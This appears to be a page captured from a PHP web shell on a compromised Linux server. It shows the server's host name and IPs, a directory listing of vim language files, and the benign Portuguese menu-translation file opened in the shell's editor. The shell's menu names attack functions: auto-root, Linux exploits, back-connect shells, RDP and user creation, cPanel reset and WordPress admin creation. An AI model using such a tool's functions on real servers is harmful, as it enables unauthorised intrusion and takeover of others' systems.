Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.119.166.141
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim74 /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
af
[ DIR ]
drwxr-xr-x
ca
[ DIR ]
drwxr-xr-x
cs
[ DIR ]
drwxr-xr-x
cs.cp1250
[ DIR ]
drwxr-xr-x
de
[ DIR ]
drwxr-xr-x
en_GB
[ DIR ]
drwxr-xr-x
eo
[ DIR ]
drwxr-xr-x
es
[ DIR ]
drwxr-xr-x
fi
[ DIR ]
drwxr-xr-x
fr
[ DIR ]
drwxr-xr-x
ga
[ DIR ]
drwxr-xr-x
it
[ DIR ]
drwxr-xr-x
ja
[ DIR ]
drwxr-xr-x
ja.euc-jp
[ DIR ]
drwxr-xr-x
ja.sjis
[ DIR ]
drwxr-xr-x
ko
[ DIR ]
drwxr-xr-x
ko.UTF-8
[ DIR ]
drwxr-xr-x
nb
[ DIR ]
drwxr-xr-x
nl
[ DIR ]
drwxr-xr-x
no
[ DIR ]
drwxr-xr-x
pl
[ DIR ]
drwxr-xr-x
pl.UTF-8
[ DIR ]
drwxr-xr-x
pl.cp1250
[ DIR ]
drwxr-xr-x
pt_BR
[ DIR ]
drwxr-xr-x
ru
[ DIR ]
drwxr-xr-x
ru.cp1251
[ DIR ]
drwxr-xr-x
sk
[ DIR ]
drwxr-xr-x
sk.cp1250
[ DIR ]
drwxr-xr-x
sv
[ DIR ]
drwxr-xr-x
uk
[ DIR ]
drwxr-xr-x
uk.cp1251
[ DIR ]
drwxr-xr-x
vi
[ DIR ]
drwxr-xr-x
zh_CN
[ DIR ]
drwxr-xr-x
zh_CN.UTF-8
[ DIR ]
drwxr-xr-x
zh_CN.cp936
[ DIR ]
drwxr-xr-x
zh_TW
[ DIR ]
drwxr-xr-x
zh_TW.UTF-8
[ DIR ]
drwxr-xr-x
README.txt
1.91
KB
-rw-r--r--
menu_af.latin1.vim
73
B
-rw-r--r--
menu_af.utf-8.vim
92
B
-rw-r--r--
menu_af_af.latin1.vim
5.39
KB
-rw-r--r--
menu_af_af.utf-8.vim
92
B
-rw-r--r--
menu_ca.latin1.vim
75
B
-rw-r--r--
menu_ca.utf-8.vim
153
B
-rw-r--r--
menu_ca_es.latin1.vim
13.8
KB
-rw-r--r--
menu_ca_es.utf-8.vim
153
B
-rw-r--r--
menu_chinese(gb)_gb.936.vim
270
B
-rw-r--r--
menu_chinese(taiwan)_taiwan.95...
284
B
-rw-r--r--
menu_chinese_gb.936.vim
10.09
KB
-rw-r--r--
menu_chinese_taiwan.950.vim
12.46
KB
-rw-r--r--
menu_cs.cp1250.vim
82
B
-rw-r--r--
menu_cs.latin1.vim
82
B
-rw-r--r--
menu_cs_cz.cp1250.vim
82
B
-rw-r--r--
menu_cs_cz.iso_8859-2.vim
12.6
KB
-rw-r--r--
menu_cs_cz.latin1.vim
83
B
-rw-r--r--
menu_cs_cz.utf-8.vim
12.95
KB
-rw-r--r--
menu_czech_czech_republic.1250...
12.6
KB
-rw-r--r--
menu_czech_czech_republic.1252...
113
B
-rw-r--r--
menu_czech_czech_republic.asci...
12.61
KB
-rw-r--r--
menu_de.latin1.vim
94
B
-rw-r--r--
menu_de.utf-8.vim
89
B
-rw-r--r--
menu_de_de.latin1.vim
13.27
KB
-rw-r--r--
menu_de_de.utf-8.vim
89
B
-rw-r--r--
menu_en_gb.latin1.vim
484
B
-rw-r--r--
menu_en_gb.utf-8.vim
74
B
-rw-r--r--
menu_english_united_kingdom.12...
84
B
-rw-r--r--
menu_english_united_kingdom.as...
84
B
-rw-r--r--
menu_eo.utf-8.vim
17.39
KB
-rw-r--r--
menu_eo_eo.utf-8.vim
88
B
-rw-r--r--
menu_eo_xx.utf-8.vim
88
B
-rw-r--r--
menu_es.latin1.vim
71
B
-rw-r--r--
menu_es.utf-8.vim
90
B
-rw-r--r--
menu_es_es.latin1.vim
13.47
KB
-rw-r--r--
menu_es_es.utf-8.vim
90
B
-rw-r--r--
menu_fi.latin1.vim
92
B
-rw-r--r--
menu_fi.utf-8.vim
90
B
-rw-r--r--
menu_fi_fi.latin1.vim
17.39
KB
-rw-r--r--
menu_fi_fi.utf-8.vim
90
B
-rw-r--r--
menu_finnish_finland.1252.vim
106
B
-rw-r--r--
menu_fr.latin1.vim
94
B
-rw-r--r--
menu_fr.utf-8.vim
89
B
-rw-r--r--
menu_fr_fr.latin1.vim
18.06
KB
-rw-r--r--
menu_fr_fr.utf-8.vim
89
B
-rw-r--r--
menu_french_france.1252.vim
105
B
-rw-r--r--
menu_german_germany.1252.vim
105
B
-rw-r--r--
menu_hu.iso_8859-2.vim
94
B
-rw-r--r--
menu_hu.utf-8.vim
89
B
-rw-r--r--
menu_hu_hu.iso_8859-2.vim
11.13
KB
-rw-r--r--
menu_hu_hu.utf-8.vim
10.59
KB
-rw-r--r--
menu_it.latin1.vim
71
B
-rw-r--r--
menu_it.utf-8.vim
90
B
-rw-r--r--
menu_it_it.latin1.vim
12.57
KB
-rw-r--r--
menu_it_it.utf-8.vim
90
B
-rw-r--r--
menu_italian_italy.1252.vim
82
B
-rw-r--r--
menu_ja.cp932.vim
292
B
-rw-r--r--
menu_ja.euc-jp.vim
347
B
-rw-r--r--
menu_ja.eucjp.vim
347
B
-rw-r--r--
menu_ja.ujis.vim
346
B
-rw-r--r--
menu_ja.utf-8.vim
135
B
-rw-r--r--
menu_ja_jp.cp932.vim
292
B
-rw-r--r--
menu_ja_jp.euc-jp.vim
12.02
KB
-rw-r--r--
menu_ja_jp.eucjp.vim
346
B
-rw-r--r--
menu_ja_jp.ujis.vim
346
B
-rw-r--r--
menu_ja_jp.utf-8.vim
13.34
KB
-rw-r--r--
menu_japanese_japan.932.vim
12.01
KB
-rw-r--r--
menu_ko.utf-8.vim
69
B
-rw-r--r--
menu_ko_kr.euckr.vim
10.26
KB
-rw-r--r--
menu_ko_kr.utf-8.vim
11.08
KB
-rw-r--r--
menu_ko_kr.vim
146
B
-rw-r--r--
menu_nl.latin1.vim
74
B
-rw-r--r--
menu_nl.utf-8.vim
93
B
-rw-r--r--
menu_nl_nl.latin1.vim
10.25
KB
-rw-r--r--
menu_nl_nl.utf-8.vim
93
B
-rw-r--r--
menu_no.latin1.vim
125
B
-rw-r--r--
menu_no.utf-8.vim
143
B
-rw-r--r--
menu_no_no.latin1.vim
10.5
KB
-rw-r--r--
menu_no_no.utf-8.vim
146
B
-rw-r--r--
menu_pl.cp1250.vim
76
B
-rw-r--r--
menu_pl_pl.cp1250.vim
76
B
-rw-r--r--
menu_pl_pl.iso_8859-2.vim
12
KB
-rw-r--r--
menu_pl_pl.utf-8.vim
12.2
KB
-rw-r--r--
menu_polish_poland.1250.vim
11.99
KB
-rw-r--r--
menu_pt_br.latin1.vim
67
B
-rw-r--r--
menu_pt_br.utf-8.vim
86
B
-rw-r--r--
menu_pt_br.vim
11.8
KB
-rw-r--r--
menu_pt_pt.latin1.vim
66
B
-rw-r--r--
menu_pt_pt.utf-8.vim
66
B
-rw-r--r--
menu_pt_pt.vim
10.89
KB
-rw-r--r--
menu_ru.utf-8.vim
64
B
-rw-r--r--
menu_ru_ru.koi8-r.vim
13.2
KB
-rw-r--r--
menu_ru_ru.utf-8.vim
64
B
-rw-r--r--
menu_ru_ru.vim
16.35
KB
-rw-r--r--
menu_sk.cp1250.vim
88
B
-rw-r--r--
menu_sk_sk.1250.vim
217
B
-rw-r--r--
menu_sk_sk.cp1250.vim
88
B
-rw-r--r--
menu_sk_sk.iso_8859-2.vim
9.86
KB
-rw-r--r--
menu_sk_sk.vim
264
B
-rw-r--r--
menu_sl_si.cp1250.vim
12.86
KB
-rw-r--r--
menu_sl_si.latin2.vim
12.82
KB
-rw-r--r--
menu_sl_si.utf-8.vim
12.98
KB
-rw-r--r--
menu_slovak_slovak_republic.12...
9.85
KB
-rw-r--r--
menu_spanish_spain.850.vim
41
B
-rw-r--r--
menu_sr.utf-8.vim
70
B
-rw-r--r--
menu_sr_rs.ascii.vim
10.76
KB
-rw-r--r--
menu_sr_rs.iso_8859-2.vim
10.71
KB
-rw-r--r--
menu_sr_rs.iso_8859-5.vim
10.69
KB
-rw-r--r--
menu_sr_rs.utf-8.vim
13.16
KB
-rw-r--r--
menu_sr_yu.ascii.vim
70
B
-rw-r--r--
menu_sr_yu.iso_8859-2.vim
75
B
-rw-r--r--
menu_sr_yu.iso_8859-5.vim
75
B
-rw-r--r--
menu_sr_yu.utf-8.vim
70
B
-rw-r--r--
menu_sv.latin1.vim
71
B
-rw-r--r--
menu_sv.utf-8.vim
90
B
-rw-r--r--
menu_sv_se.latin1.vim
10.41
KB
-rw-r--r--
menu_sv_se.utf-8.vim
90
B
-rw-r--r--
menu_uk_ua.cp1251.vim
10.03
KB
-rw-r--r--
menu_uk_ua.koi8-u.vim
10.03
KB
-rw-r--r--
menu_vi_vn.vim
13.76
KB
-rw-r--r--
menu_zh.big5.vim
89
B
-rw-r--r--
menu_zh.cp936.vim
98
B
-rw-r--r--
menu_zh.cp950.vim
89
B
-rw-r--r--
menu_zh.gb2312.vim
96
B
-rw-r--r--
menu_zh_cn.18030.vim
82
B
-rw-r--r--
menu_zh_cn.cp936.vim
98
B
-rw-r--r--
menu_zh_cn.gb2312.vim
10.28
KB
-rw-r--r--
menu_zh_cn.gbk.vim
82
B
-rw-r--r--
menu_zh_cn.utf-8.vim
10.84
KB
-rw-r--r--
menu_zh_tw.big5.vim
89
B
-rw-r--r--
menu_zh_tw.cp950.vim
89
B
-rw-r--r--
menu_zh_tw.utf-8.vim
13.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : menu_pt_br.vim
" Menu Translations: Portugu�s do Brasil " Maintainer: Jos� de Paula <jose@infoviaweb.com> " Last Change: 2012 May 01 " " Quit when menu translations have already been done. if exists("did_menu_trans") finish endif let did_menu_trans = 1 let s:keepcpo= &cpo set cpo&vim " Translations in latin1 (ISO-8859-1), and should work in " latin9 (ISO-8859-15) if &enc != "cp1252" && &enc != "iso-8859-15" scriptencoding latin1 endif " Help menu menutrans &Help A&juda menutrans &Overview<Tab><F1> &Conte�do menutrans &User\ Manual &Manual\ do\ Usu�rio menutrans &How-to\ links &Como\ fazer? menutrans &Find\.\.\. &Procurar\.\.\. menutrans &Credits &Cr�ditos menutrans O&rphans &�rf�os menutrans Co&pying &Licen�a menutrans &Sponsor/Register &Doar/Registrar menutrans &Version &Vers�o menutrans &About &Sobre " File menu menutrans &File &Arquivo menutrans &Open\.\.\.<Tab>:e A&brir\.\.\.<Tab>:e menutrans Sp&lit-Open\.\.\.<Tab>:sp Ab&rir\ em\ outra\ janela\.\.\.<Tab>:sp menutrans &New<Tab>:enew &Novo<Tab>:enew menutrans &Close<Tab>:close &Fechar<Tab>:close menutrans &Save<Tab>:w &Salvar<Tab>:w menutrans Save\ &As\.\.\.<Tab>:sav Sa&lvar\ como\.\.\.<Tab>:sav menutrans Split\ &Diff\ with\.\.\. &Exibir\ diferen�as\ com\.\.\. menutrans Split\ Patched\ &By\.\.\. Ex&ibir\ patcheado\ por\.\.\. menutrans &Print I&mprimir menutrans Sa&ve-Exit<Tab>:wqa Sal&var\ e\ sair<Tab>:wqa menutrans E&xit<Tab>:qa Sai&r<Tab>:qa " Edit menu menutrans &Edit &Editar menutrans &Undo<Tab>u &Desfazer<Tab>u menutrans &Redo<Tab>^R &Refazer<Tab>u menutrans Rep&eat<Tab>\. Repe&tir<Tab>\. menutrans Cu&t<Tab>"+x Re&cortar<Tab>"+x menutrans &Copy<Tab>"+y Cop&iar<Tab>"+y menutrans &Paste<Tab>"+gP C&olar<Tab>"+gP menutrans Put\ &Before<Tab>[p Colocar\ &antes<Tab>[p menutrans Put\ &After<Tab>]p Colocar\ &depois<Tab>]p menutrans &Select\ all<Tab>ggVG &Selecionar\ tudo<Tab>ggVG menutrans &Find\.\.\. &Procurar\.\.\. menutrans Find\ and\ Rep&lace\.\.\. Procurar\ e\ substit&uir\.\.\. menutrans Find\ and\ Rep&lace<Tab>:%s Procurar\ e\ substit&uir<Tab>:%s menutrans Find\ and\ Rep&lace Procurar\ e\ substit&uir menutrans Find\ and\ Rep&lace<Tab>:s Procurar\ e\ substituir<Tab>:s menutrans Settings\ &Window &Op�es menutrans Startup\ &Settings &Inicializa��o " Edit/Global Settings menutrans &Global\ Settings Op�es\ &Globais menutrans Toggle\ Pattern\ &Highlight<Tab>:set\ hls! Ativar/Desativar\ &Realce\ de\ Padr�es<Tab>:set\ hls! menutrans Toggle\ &Ignore-case<Tab>:set\ ic! Ativar/Desativar\ &Ignorar\ mai�sculas<Tab>:set\ ic! menutrans Toggle\ &Showmatch<Tab>:set\ sm! Ativar/Desativar\ &coincid�ncias<Tab>:set\ sm! menutrans &Context\ lines Linhas\ de\ C&ontexto menutrans &Virtual\ Edit Edi��o\ &Virtual menutrans Never Nunca menutrans Block\ Selection Sele��o\ de\ Bloco menutrans Insert\ mode Modo\ de\ inser��o menutrans Block\ and\ Insert Bloco\ e\ inser��o menutrans Always Sempre menutrans Toggle\ Insert\ &Mode<Tab>:set\ im! Ativar/Desativar\ Modo\ de\ In&ser��o<Tab>:set\ im! menutrans Toggle\ Vi\ C&ompatible<Tab>:set\ cp! Ativar/Desativar\ Co&mpatibilidade\ com\ Vi<Tab>:set\ cp! menutrans Search\ &Path\.\.\. Camin&ho\ de\ Busca\.\.\. menutrans Ta&g\ Files\.\.\. Arquivos\ de\ Tags\.\.\. " GUI options menutrans Toggle\ &Toolbar Ocultar/Exibir\ Barra\ de\ &Ferramentas menutrans Toggle\ &Bottom\ Scrollbar Ocultar/Exibir\ Barra\ de\ &Rolagem\ Inferior menutrans Toggle\ &Left\ Scrollbar Ocultar/Exibir\ Barra\ de\ R&olagem\ Esquerda menutrans Toggle\ &Right\ Scrollbar Ocultar/Exibir\ Barra\ de\ Ro&lagem\ Direita let g:menutrans_path_dialog = "Indique um caminho de procura para os arquivos.\nSepare os nomes dos diret�rios com uma v�rgula." let g:menutrans_tags_dialog = "Indique os nomes dos arquivos de tags.\nSepare os nomes com uma v�rgula." " Edit/File Settings menutrans F&ile\ Settings Op�es\ do\ &Arquivo " Boolean options menutrans Toggle\ Line\ &Numbering<Tab>:set\ nu! Ativar/Desativar\ &numera��o\ de\ linhas<Tab>:set\ nu! menutrans Toggle\ &List\ Mode<Tab>:set\ list! Ativar/Desativar\ modo\ &list<Tab>:set\ list! menutrans Toggle\ Line\ &Wrap<Tab>:set\ wrap! Ativar/Desativar\ &quebra\ de\ linhas<Tab>:set\ wrap! menutrans Toggle\ W&rap\ at\ word<Tab>:set\ lbr! Ativar/Desativar\ quebra\ na\ &palavra<Tab>:set\ lbr! menutrans Toggle\ &expand-tab<Tab>:set\ et! Ativar/Desativar\ expans�o de tabs<Tab>:set\ et! menutrans Toggle\ &auto-indent<Tab>:set\ ai! Ativar/Desativar\ &auto-indenta��o<Tab>:set\ ai! menutrans Toggle\ &C-indenting<Tab>:set\ cin! Ativar/Desativar\ indenta��o estilo &C<Tab>:set\ cin! " other options menutrans &Shiftwidth Largura\ da\ &indenta��o menutrans Soft\ &Tabstop &Tabula��o\ com\ espa�os menutrans Te&xt\ Width\.\.\. Largura\ do\ te&xto\.\.\. let g:menutrans_textwidth_dialog = "Digite a nova largura do texto (0 para desativar a formata��o): " menutrans &File\ Format\.\.\. &Formato\ do\ arquivo\.\.\. let g:menutrans_fileformat_dialog = "Selecione o formato para gravar o arquivo" menutrans C&olor\ Scheme Esquema\ de\ c&ores menutrans default padr�o menutrans Select\ Fo&nt\.\.\. Selecionar\ fo&nte\.\.\. menutrans &Keymap &Mapa\ de\ teclado menutrans None Nenhum " Programming menu menutrans &Tools &Ferramentas menutrans &Jump\ to\ this\ tag<Tab>g^] &Pular\ para\ este\ tag<Tab>g^] menutrans Jump\ &back<Tab>^T &Voltar<Tab>^T menutrans Build\ &Tags\ File &Construir\ Arquivo\ de\ tags menutrans &Spelling &Ortografia menutrans &Folding &Dobra menutrans &Make<Tab>:make &Make<Tab>:make menutrans &List\ Errors<Tab>:cl &Lista\ de\ erros<Tab>:cl menutrans L&ist\ Messages<Tab>:cl! Li&sta\ de\ mensagens<Tab>:cl! menutrans &Next\ Error<Tab>:cn P&r�ximo\ erro<Tab>:cn menutrans &Previous\ Error<Tab>:cp &Erro\ anterior<Tab>:cp menutrans &Older\ List<Tab>:cold Listar\ erros\ &antigos<Tab>:cold menutrans N&ewer\ List<Tab>:cnew Listar\ erros\ &novos<Tab>:cnew menutrans Error\ &Window &Janela\ de\ erros menutrans Se&T\ Compiler Def&inir\ Compilador menutrans &Convert\ to\ HEX<Tab>:%!xxd Converter\ para\ hexadecimal<Tab>:%!xxd menutrans Conve&rt\ back<Tab>:%!xxd\ -r Conver&ter\ de\ volta<Tab>:%!xxd\ -r " Tools.Spelling menu menutrans &Spell Check On &Ativar Corre��o Ortogr�fica menutrans &Spell Check Off &Desativar Corre��o Ortogr�fica menutrans To &Next error<Tab>]s &Pr�ximo Erro<Tab>]s menutrans To &Previous Error<Tab>[s Erro A&nterior<Tab>[s menutrans Suggest &Corrections<Tab>z= &Sugerir Corre�es<Tab>z= menutrans &Repeat correction<Tab>:spellrepall &Repetir Corre��o<Tab>:spellrepall menutrans Set\ language\ to\ "en" Ingl�s menutrans Set\ language\ to\ "en_au" Ingl�s\ (en_au) menutrans Set\ language\ to\ "en_ca" Ingl�s\ (en_ca) menutrans Set\ language\ to\ "en_gb" Ingl�s\ (en_gb) menutrans Set\ language\ to\ "en_nz" Ingl�s\ (en_nz) menutrans Set\ language\ to\ "en_us" Ingl�s\ (en_us) menutrans &Find\ More\ Languages &Buscar mais idiomas " Tools.Fold Menu menutrans &Enable/Disable\ folds<Tab>zi &Ativar/Desativar\ dobras<Tab>zi menutrans &View\ Cursor\ Line<Tab>zv &Ver\ linha\ do\ cursor<Tab>zv menutrans Vie&w\ Cursor\ Line\ only<Tab>zMzx Ve&r\ somente\ linha\ do\ cursor<Tab>zMzx menutrans C&lose\ more\ folds<Tab>zm &Fechar\ mais\ dobras<Tab>zm menutrans &Close\ all\ folds<Tab>zM F&echar\ todas\ as\ dobras<Tab>zM menutrans O&pen\ more\ folds<Tab>zr A&brir\ mais\ dobras<Tab>zr menutrans &Open\ all\ folds<Tab>zR Abr&ir\ todas\ as\ dobras<Tab>zR " fold method menutrans Fold\ Met&hod &Modo\ de\ dobras menutrans Create\ &Fold<Tab>zf Criar\ &dobras<Tab>zf menutrans &Delete\ Fold<Tab>zd Remover\ d&obras<Tab>zd menutrans Delete\ &All\ Folds<Tab>zD Remover\ &todas\ as\ dobras<Tab>zD " moving around in folds menutrans Fold\ col&umn\ width &Largura\ da\ coluna\ da\ dobra " Tools.Diff Menu menutrans &Update &Atualizar menutrans &Get\ Block &Obter\ Bloco menutrans &Put\ Block &P�r\ Bloco " Tools.Error Menu menutrans &Update<Tab>:cwin &Atualizar<Tab>:cwin menutrans &Open<Tab>:copen A&brir<Tab>:copen menutrans &Close<Tab>:cclose &Fechar<Tab>:cclose " Names for buffer menu. menutrans &Buffers &Buffers menutrans &Refresh\ menu A&tualizar\ menu menutrans &Delete &Apagar menutrans &Alternate A<ernar menutrans &Next P&r�ximo menutrans &Previous A&nterior let g:menutrans_no_file = "[Sem arquivos]" " Window menu menutrans &Window &Janela menutrans &New<Tab>^Wn N&ova<Tab>^Wn menutrans S&plit<Tab>^Ws &Dividir<Tab>^Ws menutrans Sp&lit\ To\ #<Tab>^W^^ D&ividir\ para\ #<Tab>^W^^ menutrans Split\ &Vertically<Tab>^Wv Dividir\ &verticalmente<Tab>^Wv menutrans Split\ File\ E&xplorer &Abrir\ Gerenciador\ de\ arquivos menutrans &Close<Tab>^Wc &Fechar<Tab>^Wc menutrans Close\ &Other(s)<Tab>^Wo Fechar\ &outra(s)<Tab>^Wo menutrans Move\ &To Mover\ ¶ menutrans &Top<Tab>^WK A&cima<Tab>^WK menutrans &Bottom<Tab>^WJ A&baixo<Tab>^WJ menutrans &Left\ side<Tab>^WH Lado\ &esquerdo<Tab>^WH menutrans &Right\ side<Tab>^WL Lado\ di&reito<Tab>^WL menutrans Rotate\ &Up<Tab>^WR &Girar\ para\ cima<Tab>^WR menutrans Rotate\ &Down<Tab>^Wr Girar\ para\ bai&xo<Tab>^Wr menutrans &Equal\ Size<Tab>^W= Mesmo\ &Tamanho<Tab>^W= menutrans &Max\ Height<Tab>^W_ Altura\ &M�xima<Tab>^W_ menutrans M&in\ Height<Tab>^W1_ A<ura\ M�nima<Tab>^W1_ menutrans Max\ &Width<Tab>^W\| Larg&ura\ M�xima<Tab>^W\| menutrans Min\ Widt&h<Tab>^W1\| Largura\ M�&nima<Tab>^W1\| " The popup menu menutrans &Undo &Desfazer menutrans Cu&t Recor&tar menutrans &Copy &Copiar menutrans &Paste Co&lar menutrans &Delete &Apagar menutrans Select\ Blockwise Sele��o\ de\ bloco menutrans Select\ &Word Selecionar\ &Palavra menutrans Select\ &Line Selecionar\ L&inha menutrans Select\ &All Selecionar\ T&udo " The GUI toolbar if has("toolbar") if exists("*Do_toolbar_tmenu") delfun Do_toolbar_tmenu endif fun Do_toolbar_tmenu() tmenu ToolBar.Open Abrir Arquivo tmenu ToolBar.Save Salvar Arquivo tmenu ToolBar.SaveAll Salvar Todos os arquivos tmenu ToolBar.Print Imprimir tmenu ToolBar.Undo Desfazer tmenu ToolBar.Redo Refazer tmenu ToolBar.Cut Recortar tmenu ToolBar.Copy Copiar tmenu ToolBar.Paste Colar tmenu ToolBar.Find Procurar... tmenu ToolBar.FindNext Procurar Pr�ximo tmenu ToolBar.FindPrev Procurar Anterior tmenu ToolBar.Replace Procurar e Substituir if 0 " disable; these are in the Windoze menu tmenu ToolBar.New Nova Janela tmenu ToolBar.WinSplit Dividir Janela tmenu ToolBar.WinMax Janela M�xima tmenu ToolBar.WinMin Janela M�nima tmenu ToolBar.WinVSplit Dividir Verticalmente tmenu ToolBar.WinMaxWidth Largura M�xima tmenu ToolBar.WinMinWidth Largura M�nima tmenu ToolBar.WinClose Fechar Janela endif tmenu ToolBar.LoadSesn Carregar Sess�o tmenu ToolBar.SaveSesn Salvar Sess�o tmenu ToolBar.RunScript Executar script tmenu ToolBar.Make Make tmenu ToolBar.Shell Abrir um shell tmenu ToolBar.RunCtags Gerar um arquivo de tags tmenu ToolBar.TagJump Saltar para um tag tmenu ToolBar.Help Ajuda tmenu ToolBar.FindHelp Procurar na Ajuda endfun endif " Syntax menu menutrans &Syntax &Sintaxe "menutrans &Show\ individual\ choices E&xibir\ escolhas\ individuais menutrans &Show\ filetypes\ in\ menu E&xibir\ tipos\ de\ arquivos\ no\ menu menutrans Set\ '&syntax'\ only Ativar\ somente\ s&intaxe menutrans Set\ '&filetype'\ too Ativar\ tamb�m\ &tipo\ de\ arquivo menutrans &Off &Desativar menutrans &Manual &Manual menutrans A&utomatic A&utom�tica menutrans on/off\ for\ &This\ file Ativar/Desativar\ neste\ &arquivo menutrans Co&lor\ test T&este\ de\ cores menutrans &Highlight\ test Teste\ de\ &realce menutrans &Convert\ to\ HTML &Converter\ para\ HTML " Find Help dialog text let g:menutrans_help_dialog = "Digite um comando ou palavra para obter ajuda;\n\nAnteponha i_ para comandos de entrada (ex.: i_CTRL-X)\nAnteponha c_ para comandos da linha de comandos (ex.: c_<Del>)\nAnteponha ` para um nome de op��o (ex.: `shiftwidth`)" let &cpo = s:keepcpo unlet s:keepcpo
Close